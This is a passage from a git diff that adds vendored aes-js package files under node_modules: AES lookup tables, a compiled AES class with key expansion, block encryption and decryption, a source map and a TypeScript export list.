0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]; +// Transformations for decryption key expansion +const U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]; +const U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]; +const U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]; +const U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]; +function convertToInt32(bytes) { + const result = []; + for (let i = 0; i < bytes.length; i += 4) { + result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]); + } + return result; +} +class AES { + get key() { return __classPrivateFieldGet(this, _AES_key, "f").slice(); } + constructor(key) { + _AES_key.set(this, void 0); + _AES_Kd.set(this, void 0); + _AES_Ke.set(this, void 0); + if (!(this instanceof AES)) { + throw Error('AES must be instanitated with `new`'); + } + __classPrivateFieldSet(this, _AES_key, new Uint8Array(key), "f"); + const rounds = numberOfRounds[this.key.length]; + if (rounds == null) { + throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)'); + } + // encryption round keys + __classPrivateFieldSet(this, _AES_Ke, [], "f"); + // decryption round keys + __classPrivateFieldSet(this, _AES_Kd, [], "f"); + for (let i = 0; i <= rounds; i++) { + __classPrivateFieldGet(this, _AES_Ke, "f").push([0, 0, 0, 0]); + __classPrivateFieldGet(this, _AES_Kd, "f").push([0, 0, 0, 0]); + } + const roundKeyCount = (rounds + 1) * 4; + const KC = this.key.length / 4; + // convert the key into ints + const tk = convertToInt32(this.key); + // copy values into round key arrays + let index; + for (let i = 0; i < KC; i++) { + index = i >> 2; + __classPrivateFieldGet(this, _AES_Ke, "f")[index][i % 4] = tk[i]; + __classPrivateFieldGet(this, _AES_Kd, "f")[rounds - index][i % 4] = tk[i]; + } + // key expansion (fips-197 section 5.2) + let rconpointer = 0; + let t = KC, tt; + while (t < roundKeyCount) { + tt = tk[KC - 1]; + tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^ + (S[(tt >> 8) & 0xFF] << 16) ^ + (S[tt & 0xFF] << 8) ^ + S[(tt >> 24) & 0xFF] ^ + (rcon[rconpointer] << 24)); + rconpointer += 1; + // key expansion (for non-256 bit) + if (KC != 8) { + for (let i = 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + // key expansion for 256-bit keys is "slightly different" (fips-197) + } + else { + for (let i = 1; i < (KC / 2); i++) { + tk[i] ^= tk[i - 1]; + } + tt = tk[(KC / 2) - 1]; + tk[KC / 2] ^= (S[tt & 0xFF] ^ + (S[(tt >> 8) & 0xFF] << 8) ^ + (S[(tt >> 16) & 0xFF] << 16) ^ + (S[(tt >> 24) & 0xFF] << 24)); + for (let i = (KC / 2) + 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + } + // copy values into round key arrays + let i = 0, r, c; + while (i < KC && t < roundKeyCount) { + r = t >> 2; + c = t % 4; + __classPrivateFieldGet(this, _AES_Ke, "f")[r][c] = tk[i]; + __classPrivateFieldGet(this, _AES_Kd, "f")[rounds - r][c] = tk[i++]; + t++; + } + } + // inverse-cipher-ify the decryption round key (fips-197 section 5.3) + for (let r = 1; r < rounds; r++) { + for (let c = 0; c < 4; c++) { + tt = __classPrivateFieldGet(this, _AES_Kd, "f")[r][c]; + __classPrivateFieldGet(this, _AES_Kd, "f")[r][c] = (U1[(tt >> 24) & 0xFF] ^ + U2[(tt >> 16) & 0xFF] ^ + U3[(tt >> 8) & 0xFF] ^ + U4[tt & 0xFF]); + } + } + } + encrypt(plaintext) { + if (plaintext.length != 16) { + throw new TypeError('invalid plaintext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet(this, _AES_Ke, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(plaintext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet(this, _AES_Ke, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T1[(t[i] >> 24) & 0xff] ^ + T2[(t[(i + 1) % 4] >> 16) & 0xff] ^ + T3[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T4[t[(i + 3) % 4] & 0xff] ^ + __classPrivateFieldGet(this, _AES_Ke, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet(this, _AES_Ke, "f")[rounds][i]; + result[4 * i] = (S[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (S[t[(i + 3) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } + decrypt(ciphertext) { + if (ciphertext.length != 16) { + throw new TypeError('invalid ciphertext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet(this, _AES_Kd, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(ciphertext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet(this, _AES_Kd, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T5[(t[i] >> 24) & 0xff] ^ + T6[(t[(i + 3) % 4] >> 16) & 0xff] ^ + T7[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T8[t[(i + 1) % 4] & 0xff] ^ + __classPrivateFieldGet(this, _AES_Kd, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet(this, _AES_Kd, "f")[rounds][i]; + result[4 * i] = (Si[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (Si[t[(i + 1) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } +} +exports.AES = AES; +_AES_key = new WeakMap(), _AES_Kd = new WeakMap(), _AES_Ke = new WeakMap(); +//# sourceMappingURL=aes.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/aes.js.map b/node_modules/aes-js/lib.commonjs/aes.js.map new file mode 100644 index 000000000000..765908a2b706 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/aes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"aes.js","sourceRoot":"","sources":["../src.ts/aes.ts"],"names":[],"mappings":";AAAA,uFAAuF;;;;;;;;;;;;;;;AAEvF,8BAA8B;AAC9B,MAAM,cAAc,GAA2B,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC;AAE1E,uBAAuB;AACvB,MAAM,IAAI,GAAG,CAAC,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AAElM,kDAAkD;AAClD,MAAM,CAAC,GAAG,CAAC,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAA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AAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,IAAK,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,EAAE,IAAK,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC;YAC5E,MAAM,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,EAAE,CAAE,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAU,IAAI,CAAC,GAAI,EAAE,CAAQ,GAAG,IAAI,CAAC;SAC7E;QAED,OAAO,MAAM,CAAC;IAChB,CAAC;CACF;AArLD,kBAqLC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/index.d.ts b/node_modules/aes-js/lib.commonjs/index.d.ts new file mode 100644 index 000000000000..95618a7a6c27 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/index.d.ts @@ -0,0 +1,9 @@ +export { AES } from "./aes.js"; +export { ModeOfOperation } from "./mode.js"; +export { CBC } from "./mode-cbc.js"; +export { CFB } from "./mode-cfb.js"; +export { CTR } from "./mode-ctr.js"; +export { ECB } from "./mode-ecb.js"; +export { OFB } from "./mode-ofb.js"; +export { pkcs7Pad, pkcs7Strip } from "./padding.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/index.d.ts.map b/node_modules/aes-js/lib.commonjs/index.d.ts.map new file mode 100644 index 000000000000..376752cb057a --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/index.d.ts.map @@ -0,0 +1 @@ 